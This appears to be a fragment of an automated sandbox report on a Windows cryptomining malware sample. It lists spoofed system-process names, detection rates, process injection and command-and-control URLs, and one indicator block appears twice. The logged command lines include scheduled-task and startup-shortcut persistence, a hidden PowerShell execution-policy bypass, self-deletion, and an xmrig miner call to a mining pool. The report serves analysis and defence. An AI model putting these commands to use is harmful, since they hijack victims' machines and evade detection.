(part of module "USER32.DLL")34:T4cd,"" (Path: "HKLM\HARDWARE\DESCRIPTION\SYSTEM"; Key: "SYSTEMBIOSVERSION") "" (Path: "HKLM\HARDWARE\DESCRIPTION\SYSTEM"; Key: "VIDEOBIOSVERSION") "GoogleUpdate.exe" (Path: "HKLM\HARDWARE\DESCRIPTION\SYSTEM"; Key: "SYSTEMBIOSVERSION") "GoogleUpdate.exe" (Path: "HKLM\HARDWARE\DESCRIPTION\SYSTEM"; Key: "VIDEOBIOSVERSION") "Isass.exe" (Path: "HKLM\HARDWARE\DESCRIPTION\SYSTEM"; Key: "SYSTEMBIOSVERSION") "Isass.exe" (Path: "HKLM\HARDWARE\DESCRIPTION\SYSTEM"; Key: "VIDEOBIOSVERSION") "SecurityHeaIthService.exe" (Path: "HKLM\HARDWARE\DESCRIPTION\SYSTEM"; Key: "SYSTEMBIOSVERSION") "SecurityHeaIthService.exe" (Path: "HKLM\HARDWARE\DESCRIPTION\SYSTEM"; Key: "VIDEOBIOSVERSION") "SystemldleProcess.exe" (Path: "HKLM\HARDWARE\DESCRIPTION\SYSTEM"; Key: "SYSTEMBIOSVERSION") "SystemldleProcess.exe" (Path: "HKLM\HARDWARE\DESCRIPTION\SYSTEM"; Key: "VIDEOBIOSVERSION") "winIogon.exe" (Path: "HKLM\HARDWARE\DESCRIPTION\SYSTEM"; Key: "SYSTEMBIOSVERSION") "winIogon.exe" (Path: "HKLM\HARDWARE\DESCRIPTION\SYSTEM"; Key: "VIDEOBIOSVERSION") "xmrig32.exe" (Path: "HKLM\HARDWARE\DESCRIPTION\SYSTEM"; Key: "SYSTEMBIOSVERSION") "xmrig32.exe" (Path: "HKLM\HARDWARE\DESCRIPTION\SYSTEM"; Key: "VIDEOBIOSVERSION")35:T4b2,8/65 Antivirus vendors marked spawned process "GoogleUpdate.exe" (PID: 3848) as malicious (classified as "Unsafe.AI_Score_89%" with 12% detection rate) 8/65 Antivirus vendors marked spawned process "Isass.exe" (PID: 3984) as malicious (classified as "Unsafe.AI_Score_89%" with 12% detection rate) 8/65 Antivirus vendors marked spawned process "Isass.exe" (PID: 2052) as malicious (classified as "Unsafe.AI_Score_89%" with 12% detection rate) 8/65 Antivirus vendors marked spawned process "Isass.exe" (PID: 4052) as malicious (classified as "Unsafe.AI_Score_89%" with 12% detection rate) 8/65 Antivirus vendors marked spawned process "SecurityHeaIthService.exe" (PID: 3812) as malicious (classified as "Unsafe.AI_Score_89%" with 12% detection rate) 8/65 Antivirus vendors marked spawned process "SystemldleProcess.exe" (PID: 3880) as malicious (classified as "Unsafe.AI_Score_89%" with 12% detection rate) 8/65 Antivirus vendors marked spawned process "winIogon.exe" (PID: 1024) as malicious (classified as "Unsafe.AI_Score_89%" with 12% detection rate) 27/68 Antivirus vendors marked spawned process "xmrig32.exe" (PID: 3100) as malicious (classified as "Trojan.Generic" with 39% detection rate)36:Tdfa,"" wrote 1500 bytes to a remote process "C:\GoogleUpdate.exe" (Handle: 1988) "" wrote 4 bytes to a remote process "C:\GoogleUpdate.exe" (Handle: 1988) "" wrote 32 bytes to a remote process "C:\GoogleUpdate.exe" (Handle: 1988) "" wrote 52 bytes to a remote process "C:\GoogleUpdate.exe" (Handle: 1988) "GoogleUpdate.exe" wrote 32 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 892) "GoogleUpdate.exe" wrote 52 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 892) "GoogleUpdate.exe" wrote 4 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 892) "GoogleUpdate.exe" wrote 32 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 852) "GoogleUpdate.exe" wrote 52 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 852) "GoogleUpdate.exe" wrote 4 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 852) "GoogleUpdate.exe" wrote 32 bytes to a remote process "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" (Handle: 812) "GoogleUpdate.exe" wrote 52 bytes to a remote process "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" (Handle: 812) "GoogleUpdate.exe" wrote 4 bytes to a remote process "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" (Handle: 812) "Isass.exe" wrote 32 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 840) "Isass.exe" wrote 52 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 840) "Isass.exe" wrote 4 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 840) "Isass.exe" wrote 32 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 796) "Isass.exe" wrote 52 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 796) "Isass.exe" wrote 4 bytes to a remote process "C:\Windows\System32\schtasks.exe" (Handle: 796) "Isass.exe" wrote 32 bytes to a remote process "C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SecurityHeaIthService.exe" (Handle: 768) "Isass.exe" wrote 52 bytes to a remote process "C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SecurityHeaIthService.exe" (Handle: 768) "Isass.exe" wrote 4 bytes to a remote process "C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SecurityHeaIthService.exe" (Handle: 768) "Isass.exe" wrote 32 bytes to a remote process "C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SystemldleProcess.exe" (Handle: 756) "Isass.exe" wrote 52 bytes to a remote process "C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SystemldleProcess.exe" (Handle: 756) "Isass.exe" wrote 4 bytes to a remote process "C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SystemldleProcess.exe" (Handle: 756) "Isass.exe" wrote 32 bytes to a remote process "C:\ProgramData\MicrosoftCorporation\Windows\Helpers\winIogon.exe" (Handle: 752) "Isass.exe" wrote 52 bytes to a remote process "C:\ProgramData\MicrosoftCorporation\Windows\Helpers\winIogon.exe" (Handle: 752) "Isass.exe" wrote 4 bytes to a remote process "C:\ProgramData\MicrosoftCorporation\Windows\Helpers\winIogon.exe" (Handle: 752) "Isass.exe" wrote 32 bytes to a remote process "C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\xmrig32.exe" (Handle: 1528) "Isass.exe" wrote 52 bytes to a remote process "C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\xmrig32.exe" (Handle: 1528) "Isass.exe" wrote 4 bytes to a remote process "C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\xmrig32.exe" (Handle: 1528)37:T1cd1,Found malicious artifacts related to "149.202.233.200" (ASN: , Owner: ): ... URL: http://sorry.enable.pw/cmd.php (AV positives: 5/63 scanned on 10/30/2017 05:42:19) URL: http://api.enable.pw/ (AV positives: 7/64 scanned on 10/29/2017 22:13:08) URL: http://api.enable.pw/2.0/method/update Pattern (AV positives: 7/64 scanned on 10/29/2017 19:45:16) URL: http://sorry.enable.pw/cmd.php?hwid=6C78A9C3 (AV positives: 6/64 scanned on 10/29/2017 01:32:33) URL: http://sorry.enable.pw/cmd.php?timeout=1 (AV positives: 5/64 scanned on 10/29/2017 00:22:32) File SHA256: db107fa8ad858c583de6a4ba3f837decf14e919a47bef531d7ff70b5c9320809 (AV positives: 30/68 scanned on 10/29/2017 00:30:41) File SHA256: e32878632892c5d0019a2d1ed1f8662cf9299ea00a7c076ec4d63cab810e46c6 (AV positives: 30/68 scanned on 10/29/2017 00:22:31) File SHA256: df1bac780647a25962abce6c791b01dc7d22ae59f7156df7a3678a3bb6414c16 (AV positives: 13/68 scanned on 10/28/2017 17:45:58) File SHA256: 866afc17362c5646ad843eafe3e8e44a80ce6deb6f2471ae4286ff9c16d87a6a (AV positives: 24/68 scanned on 10/26/2017 10:49:54) File SHA256: dd02210626aa5f24ab837591de53de862265519b4aadeae26e2da372463b61d5 (AV positives: 6/67 scanned on 10/25/2017 19:30:26) File SHA256: 5c9b5c3a4e7d70bfce0145b08d12bf6f07ba0e8ac765f8c33811f95c26e4ecaa (Scanned on 10/23/2017 18:04:57) File SHA256: f3537cbe4fbf49fbd4eeb441fe3454b6a7302f049da873b61a204d249c60d5e2 (Scanned on 10/23/2017 18:02:33) File SHA256: ad00e6fd37c0cc99ec9b5e45d73a940bdc1347c3d4370ec025a56ce6ccbe4ec9 (Scanned on 10/20/2017 00:21:49) Found malicious artifacts related to "192.30.253.113" (ASN: , Owner: ): ... URL: https://github.com/NytroRST/NetRipper/raw/master/x64/NetRipper.exe (AV positives: 1/63 scanned on 10/30/2017 09:19:49) URL: https://github.com/NytroRST/NetRipper/raw/master/x64/DLL.dll (AV positives: 1/63 scanned on 10/30/2017 09:19:32) URL: https://github.com/adafruit/RGB-matrix-Panel/blob/master/RGBmatrixPanel.cpp (AV positives: 1/63 scanned on 10/30/2017 08:08:36) URL: https://github.com/adafruit/RGB-matrix-Panel/blob/master/RGBmatrixPanel.h (AV positives: 1/63 scanned on 10/30/2017 08:02:36) URL: https://github.com/ewwink/MD5-Hash-Changer/releases/download/1.0.0/MD5_Hash_Changer-1.0.0.zip (AV positives: 1/63 scanned on 10/30/2017 06:59:30) File SHA256: 5ec642d5bf1460f56d429ad072e6d7c12d0a6a59eaf4b40bf84c77b28e96afce (AV positives: 2/60 scanned on 10/30/2017 06:13:09) File SHA256: bc3b0022b3ac5333b1804562cb2fc067ff5034c2b57e29823a32085fc7055c12 (AV positives: 33/54 scanned on 10/30/2017 06:09:49) File SHA256: d6430d3426825ebe95147497d011451c7e7b01d9c955ddfa6fa00c5386de1db6 (AV positives: 2/63 scanned on 10/30/2017 05:47:56) File SHA256: 3fd71c3c83a0433a6579943c0ecfbdf15f61459531c31ac2ee79f5dbb7a314ac (AV positives: 1/66 scanned on 10/30/2017 02:57:28) File SHA256: af21376fc46259683c98d1cae332c6badfd0da0c757f22df5376a1b65518a7ec (AV positives: 1/68 scanned on 10/29/2017 12:47:36) File SHA256: 2fff7fefd10b7590fc91c28bea5041798e2368b2eb31ea4cea481fd6a60354d3 (Scanned on 10/25/2017 16:17:45) File SHA256: aa548f2338e7a375079227361c62b934decb21bf34252035a6ce5544ee161660 (Scanned on 10/20/2017 00:23:08) File SHA256: ad00e6fd37c0cc99ec9b5e45d73a940bdc1347c3d4370ec025a56ce6ccbe4ec9 (Scanned on 10/20/2017 00:21:49) File SHA256: 8afef0c1eed1aff7f36f336b9e0c2cb7e266e5b856ecff618f32db7115e15409 (Scanned on 08/14/2017 00:33:51) File SHA256: 14eeec1ae6581e62a228ef678433b2d4fe8f26518fe2c8be9d552ef5fda90ecd (Scanned on 08/12/2017 03:27:58) Found malicious artifacts related to "151.101.0.133" (ASN: , Owner: ): ... URL: https://raw.githubusercontent.com/NytroRST/NetRipper/master/x64/NetRipper.exe (AV positives: 1/63 scanned on 10/30/2017 09:19:51) URL: https://raw.githubusercontent.com/NytroRST/NetRipper/master/x64/DLL.dll (AV positives: 1/63 scanned on 10/30/2017 09:19:38) URL: https://raw.githubusercontent.com/desktopcal/update/master/desktopcal-setup-v2.cab (AV positives: 1/63 scanned on 10/30/2017 07:38:28) URL: https://raw.githubusercontent.com/getlantern/lantern-binaries/master/lantern-installer.exe (AV positives: 2/64 scanned on 10/30/2017 06:54:44) URL: https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/20547.rar (AV positives: 3/64 scanned on 10/30/2017 05:44:09) File SHA256: 0b081d5591fc3ea4e08369303ea3fedd4983a6657ef4364870c4c8fb9581b1a3 (AV positives: 1/67 scanned on 10/30/2017 06:54:49) File SHA256: bbe6acd467b9a67016817bc312d74e7dc112a4bd7e897b44fc67e8f8319dfa01 (AV positives: 1/63 scanned on 10/30/2017 06:09:01) File SHA256: a4539b46f1bc41f539c8e83edfa020ebfeabd228145bdbf92493c873240dfe4e (AV positives: 35/56 scanned on 10/30/2017 05:44:10) File SHA256: 6fe91d487876165347db6c5bd084101d32704755325b3648099c7b4d02b315a2 (AV positives: 46/67 scanned on 10/30/2017 05:15:03) File SHA256: cb6f7d9f439b3ae8afcbbe62060f0b8af338acdeb377bc669e076e500b126351 (AV positives: 14/59 scanned on 10/29/2017 21:33:26) File SHA256: aec5fcb63bbe5e75bd0cfe4c52b25057db41fe2ae31ae11c7a564826ec0bcf76 (Scanned on 08/27/2017 02:19:31) File SHA256: c03097834d7f30f57f87af22921854b5911a08db83d310a8c40f1ea3b809299f (Scanned on 08/26/2017 13:18:49) File SHA256: 3a21b01885883f2b99e86afb81c1afb12ce97b8140d653fefa7c71d5376fa7d6 (Scanned on 08/26/2017 03:39:30) File SHA256: 9b0a324262a5e821ba8c7403d3bad3930fd72c8c7e744d39ecbfcb8af91e0b91 (Scanned on 08/24/2017 03:53:18) File SHA256: 81582abf6326821484c4fa7df6f790729b4e726dd190265099ea8d0a7cd43e49 (Scanned on 08/20/2017 18:39:54) Found malicious artifacts related to "192.30.253.112" (ASN: , Owner: ): ... URL: https://github.com/ligurio/free-software-testing-books/blob/master/free-software-testing-books.md (AV positives: 1/63 scanned on 10/30/2017 08:01:16) URL: http://github.com/freebsd (AV positives: 1/63 scanned on 10/30/2017 07:28:49) URL: http://github.com/netbsd (AV positives: 1/63 scanned on 10/30/2017 07:28:11) URL: http://github.com/openbsd (AV positives: 1/63 scanned on 10/30/2017 07:27:42) URL: https://github.com/ethereum-mining/ethminer/releases/download/v0.12.0/ethminer-0.12.0-Windows.zip (AV positives: 1/63 scanned on 10/30/2017 06:12:29) File SHA256: 081ad8019c672a02a40196fd2c2e086880ff2203c6e6fec280e56df5a13650d9 (AV positives: 26/63 scanned on 10/30/2017 08:33:13) File SHA256: 02b4c319c408e27ce7db4eaff876e52759ca5facf20e46ed46a05c8c38dfe06c (AV positives: 1/60 scanned on 10/30/2017 08:22:13) File SHA256: 423b67be130b122fb6a35f2a926fbbc64a64f6d6295d80decebb739c224d47a5 (AV positives: 6/70 scanned on 10/30/2017 06:10:33) File SHA256: ca74a73b58780f7676dd05f5ebfc4e770c7e4df6c020803ba41d682c100185e5 (AV positives: 3/66 scanned on 10/29/2017 17:26:16) File SHA256: ea2bd59dc250c1c643ec37043aeeb2963a39b7bce83263b8bb01bd96d65477ae (AV positives: 1/63 scanned on 10/29/2017 21:39:58) File SHA256: 147f196491c8d897ad2d4f32f3efc28fc7616ae3c355d46ddcd6ac5f05e06396 (Scanned on 10/25/2017 21:22:51) File SHA256: f3972e56aa301d40dcd1a40a119b6f92f3ee0a823fc58f31523403c2d06155a2 (Scanned on 10/23/2017 22:48:34) File SHA256: 9239e1d6329145169bae000a37a6a1a9412726a8f267e949d8e1d3357d06a234 (Scanned on 10/23/2017 05:14:55) File SHA256: 5bfd056ad48137691199cc9e654017955565e8020596fad16482a504bbb5f751 (Scanned on 10/19/2017 01:26:00) File SHA256: e721283250858500d043b77c5727479e672ea96dd4c127a784bef8594cbe32f1 (Scanned on 10/15/2017 17:37:23)38:T1cd1,Found malicious artifacts related to "149.202.233.200" (ASN: , Owner: ): ... URL: http://sorry.enable.pw/cmd.php (AV positives: 5/63 scanned on 10/30/2017 05:42:19) URL: http://api.enable.pw/ (AV positives: 7/64 scanned on 10/29/2017 22:13:08) URL: http://api.enable.pw/2.0/method/update Pattern (AV positives: 7/64 scanned on 10/29/2017 19:45:16) URL: http://sorry.enable.pw/cmd.php?hwid=6C78A9C3 (AV positives: 6/64 scanned on 10/29/2017 01:32:33) URL: http://sorry.enable.pw/cmd.php?timeout=1 (AV positives: 5/64 scanned on 10/29/2017 00:22:32) File SHA256: db107fa8ad858c583de6a4ba3f837decf14e919a47bef531d7ff70b5c9320809 (AV positives: 30/68 scanned on 10/29/2017 00:30:41) File SHA256: e32878632892c5d0019a2d1ed1f8662cf9299ea00a7c076ec4d63cab810e46c6 (AV positives: 30/68 scanned on 10/29/2017 00:22:31) File SHA256: df1bac780647a25962abce6c791b01dc7d22ae59f7156df7a3678a3bb6414c16 (AV positives: 13/68 scanned on 10/28/2017 17:45:58) File SHA256: 866afc17362c5646ad843eafe3e8e44a80ce6deb6f2471ae4286ff9c16d87a6a (AV positives: 24/68 scanned on 10/26/2017 10:49:54) File SHA256: dd02210626aa5f24ab837591de53de862265519b4aadeae26e2da372463b61d5 (AV positives: 6/67 scanned on 10/25/2017 19:30:26) File SHA256: 5c9b5c3a4e7d70bfce0145b08d12bf6f07ba0e8ac765f8c33811f95c26e4ecaa (Scanned on 10/23/2017 18:04:57) File SHA256: f3537cbe4fbf49fbd4eeb441fe3454b6a7302f049da873b61a204d249c60d5e2 (Scanned on 10/23/2017 18:02:33) File SHA256: ad00e6fd37c0cc99ec9b5e45d73a940bdc1347c3d4370ec025a56ce6ccbe4ec9 (Scanned on 10/20/2017 00:21:49) Found malicious artifacts related to "192.30.253.113" (ASN: , Owner: ): ... URL: https://github.com/NytroRST/NetRipper/raw/master/x64/NetRipper.exe (AV positives: 1/63 scanned on 10/30/2017 09:19:49) URL: https://github.com/NytroRST/NetRipper/raw/master/x64/DLL.dll (AV positives: 1/63 scanned on 10/30/2017 09:19:32) URL: https://github.com/adafruit/RGB-matrix-Panel/blob/master/RGBmatrixPanel.cpp (AV positives: 1/63 scanned on 10/30/2017 08:08:36) URL: https://github.com/adafruit/RGB-matrix-Panel/blob/master/RGBmatrixPanel.h (AV positives: 1/63 scanned on 10/30/2017 08:02:36) URL: https://github.com/ewwink/MD5-Hash-Changer/releases/download/1.0.0/MD5_Hash_Changer-1.0.0.zip (AV positives: 1/63 scanned on 10/30/2017 06:59:30) File SHA256: 5ec642d5bf1460f56d429ad072e6d7c12d0a6a59eaf4b40bf84c77b28e96afce (AV positives: 2/60 scanned on 10/30/2017 06:13:09) File SHA256: bc3b0022b3ac5333b1804562cb2fc067ff5034c2b57e29823a32085fc7055c12 (AV positives: 33/54 scanned on 10/30/2017 06:09:49) File SHA256: d6430d3426825ebe95147497d011451c7e7b01d9c955ddfa6fa00c5386de1db6 (AV positives: 2/63 scanned on 10/30/2017 05:47:56) File SHA256: 3fd71c3c83a0433a6579943c0ecfbdf15f61459531c31ac2ee79f5dbb7a314ac (AV positives: 1/66 scanned on 10/30/2017 02:57:28) File SHA256: af21376fc46259683c98d1cae332c6badfd0da0c757f22df5376a1b65518a7ec (AV positives: 1/68 scanned on 10/29/2017 12:47:36) File SHA256: 2fff7fefd10b7590fc91c28bea5041798e2368b2eb31ea4cea481fd6a60354d3 (Scanned on 10/25/2017 16:17:45) File SHA256: aa548f2338e7a375079227361c62b934decb21bf34252035a6ce5544ee161660 (Scanned on 10/20/2017 00:23:08) File SHA256: ad00e6fd37c0cc99ec9b5e45d73a940bdc1347c3d4370ec025a56ce6ccbe4ec9 (Scanned on 10/20/2017 00:21:49) File SHA256: 8afef0c1eed1aff7f36f336b9e0c2cb7e266e5b856ecff618f32db7115e15409 (Scanned on 08/14/2017 00:33:51) File SHA256: 14eeec1ae6581e62a228ef678433b2d4fe8f26518fe2c8be9d552ef5fda90ecd (Scanned on 08/12/2017 03:27:58) Found malicious artifacts related to "151.101.0.133" (ASN: , Owner: ): ... URL: https://raw.githubusercontent.com/NytroRST/NetRipper/master/x64/NetRipper.exe (AV positives: 1/63 scanned on 10/30/2017 09:19:51) URL: https://raw.githubusercontent.com/NytroRST/NetRipper/master/x64/DLL.dll (AV positives: 1/63 scanned on 10/30/2017 09:19:38) URL: https://raw.githubusercontent.com/desktopcal/update/master/desktopcal-setup-v2.cab (AV positives: 1/63 scanned on 10/30/2017 07:38:28) URL: https://raw.githubusercontent.com/getlantern/lantern-binaries/master/lantern-installer.exe (AV positives: 2/64 scanned on 10/30/2017 06:54:44) URL: https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/20547.rar (AV positives: 3/64 scanned on 10/30/2017 05:44:09) File SHA256: 0b081d5591fc3ea4e08369303ea3fedd4983a6657ef4364870c4c8fb9581b1a3 (AV positives: 1/67 scanned on 10/30/2017 06:54:49) File SHA256: bbe6acd467b9a67016817bc312d74e7dc112a4bd7e897b44fc67e8f8319dfa01 (AV positives: 1/63 scanned on 10/30/2017 06:09:01) File SHA256: a4539b46f1bc41f539c8e83edfa020ebfeabd228145bdbf92493c873240dfe4e (AV positives: 35/56 scanned on 10/30/2017 05:44:10) File SHA256: 6fe91d487876165347db6c5bd084101d32704755325b3648099c7b4d02b315a2 (AV positives: 46/67 scanned on 10/30/2017 05:15:03) File SHA256: cb6f7d9f439b3ae8afcbbe62060f0b8af338acdeb377bc669e076e500b126351 (AV positives: 14/59 scanned on 10/29/2017 21:33:26) File SHA256: aec5fcb63bbe5e75bd0cfe4c52b25057db41fe2ae31ae11c7a564826ec0bcf76 (Scanned on 08/27/2017 02:19:31) File SHA256: c03097834d7f30f57f87af22921854b5911a08db83d310a8c40f1ea3b809299f (Scanned on 08/26/2017 13:18:49) File SHA256: 3a21b01885883f2b99e86afb81c1afb12ce97b8140d653fefa7c71d5376fa7d6 (Scanned on 08/26/2017 03:39:30) File SHA256: 9b0a324262a5e821ba8c7403d3bad3930fd72c8c7e744d39ecbfcb8af91e0b91 (Scanned on 08/24/2017 03:53:18) File SHA256: 81582abf6326821484c4fa7df6f790729b4e726dd190265099ea8d0a7cd43e49 (Scanned on 08/20/2017 18:39:54) Found malicious artifacts related to "192.30.253.112" (ASN: , Owner: ): ... URL: https://github.com/ligurio/free-software-testing-books/blob/master/free-software-testing-books.md (AV positives: 1/63 scanned on 10/30/2017 08:01:16) URL: http://github.com/freebsd (AV positives: 1/63 scanned on 10/30/2017 07:28:49) URL: http://github.com/netbsd (AV positives: 1/63 scanned on 10/30/2017 07:28:11) URL: http://github.com/openbsd (AV positives: 1/63 scanned on 10/30/2017 07:27:42) URL: https://github.com/ethereum-mining/ethminer/releases/download/v0.12.0/ethminer-0.12.0-Windows.zip (AV positives: 1/63 scanned on 10/30/2017 06:12:29) File SHA256: 081ad8019c672a02a40196fd2c2e086880ff2203c6e6fec280e56df5a13650d9 (AV positives: 26/63 scanned on 10/30/2017 08:33:13) File SHA256: 02b4c319c408e27ce7db4eaff876e52759ca5facf20e46ed46a05c8c38dfe06c (AV positives: 1/60 scanned on 10/30/2017 08:22:13) File SHA256: 423b67be130b122fb6a35f2a926fbbc64a64f6d6295d80decebb739c224d47a5 (AV positives: 6/70 scanned on 10/30/2017 06:10:33) File SHA256: ca74a73b58780f7676dd05f5ebfc4e770c7e4df6c020803ba41d682c100185e5 (AV positives: 3/66 scanned on 10/29/2017 17:26:16) File SHA256: ea2bd59dc250c1c643ec37043aeeb2963a39b7bce83263b8bb01bd96d65477ae (AV positives: 1/63 scanned on 10/29/2017 21:39:58) File SHA256: 147f196491c8d897ad2d4f32f3efc28fc7616ae3c355d46ddcd6ac5f05e06396 (Scanned on 10/25/2017 21:22:51) File SHA256: f3972e56aa301d40dcd1a40a119b6f92f3ee0a823fc58f31523403c2d06155a2 (Scanned on 10/23/2017 22:48:34) File SHA256: 9239e1d6329145169bae000a37a6a1a9412726a8f267e949d8e1d3357d06a234 (Scanned on 10/23/2017 05:14:55) File SHA256: 5bfd056ad48137691199cc9e654017955565e8020596fad16482a504bbb5f751 (Scanned on 10/19/2017 01:26:00) File SHA256: e721283250858500d043b77c5727479e672ea96dd4c127a784bef8594cbe32f1 (Scanned on 10/15/2017 17:37:23)39:T47e,Process "cmd.exe" with commandline "/c echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs & echo sLinkFile = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = "%ALLUSERSPROFILE%\MicrosoftCorporation\Windows\System32\Isass.exe" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs" (UID: 00015958-00004020, Indicator: WScript.Shell) Process "cmd.exe" with commandline "/c echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs & echo sLinkFile = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = "%ALLUSERSPROFILE%\MicrosoftCorporation\Windows\System32\Isass.exe" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs" (UID: 00018514-00001588, Indicator: WScript.Shell)3a:Te30,Spawned process "" (UID: 00014521-00003656) Spawned process "GoogleUpdate.exe" (UID: 00015537-00003848) Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 30 /TN "Windows_Antimalware_Host" /TR "%ALLUSERSPROFILE%\WindowsAppCertification\checker.vbs" /F" (UID: 00015932-00004032) Spawned process "wscript.exe" with commandline ""%ALLUSERSPROFILE%\WindowsAppCertification\checker.vbs"" (UID: 00015933-00004068) Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 5 /TN "Windows_Antimalware_Host_Systm" /TR "%ALLUSERSPROFILE%\MicrosoftCorporation\Windows\System32\Isass.exe" /F" (UID: 00015945-00003940) Spawned process "Isass.exe" (UID: 00015951-00003984) Spawned process "cmd.exe" with commandline "/c echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs & echo sLinkFile = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = "%ALLUSERSPROFILE%\MicrosoftCorporation\Windows\System32\Isass.exe" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs" (UID: 00015958-00004020) Spawned process "Isass.exe" (UID: 00016006-00002052) Spawned process "cmd.exe" with commandline "/c taskkill /im GoogleUpdate.exe /f & erase C:\GoogleUpdate.exe & exit" (UID: 00016013-00000812) Spawned process "cscript.exe" with commandline "cscript CreateShortcut.vbs" (UID: 00016086-00000712) Spawned process "taskkill.exe" with commandline "taskkill /im GoogleUpdate.exe /f" (UID: 00016095-00001928) Spawned process "cmd.exe" with commandline ""cmd /c ""%ALLUSERSPROFILE%\WindowsAppCertification\cert.cmd" "" (UID: 00016354-00002388), Spawned process "powershell.exe" with commandline "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoP -file %ALLUSERSPROFILE%\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1" (UID: 00016405-00002448), Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 30 /TN "Windows_Antimalware_Host" /TR "%ALLUSERSPROFILE%\WindowsAppCertification\checker.vbs" /F" (UID: 00018475-00000804), Spawned process "wscript.exe" with commandline ""%ALLUSERSPROFILE%\WindowsAppCertification\checker.vbs"" (UID: 00018475-00003768), Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 5 /TN "Windows_Antimalware_Host_Systm" /TR "%ALLUSERSPROFILE%\MicrosoftCorporation\Windows\System32\Isass.exe" /F" (UID: 00018485-00003752), Spawned process "Isass.exe" (UID: 00018489-00004052), Spawned process "cmd.exe" with commandline "/c echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs & echo sLinkFile = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = "%ALLUSERSPROFILE%\MicrosoftCorporation\Windows\System32\Isass.exe" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs" (UID: 00018514-00001588), Spawned process "SecurityHeaIthService.exe" (UID: 00018557-00003812), Spawned process "cscript.exe" with commandline "cscript CreateShortcut.vbs" (UID: 00018572-00003872), Spawned process "SystemldleProcess.exe" (UID: 00018638-00003880), Spawned process "winIogon.exe" (UID: 00018718-00001024), Spawned process "xmrig32.exe" with commandline "-o xmr.pool.minergate.com:45560 -u stasmiomi@gmail.com -p x -k -t 1" (UID: 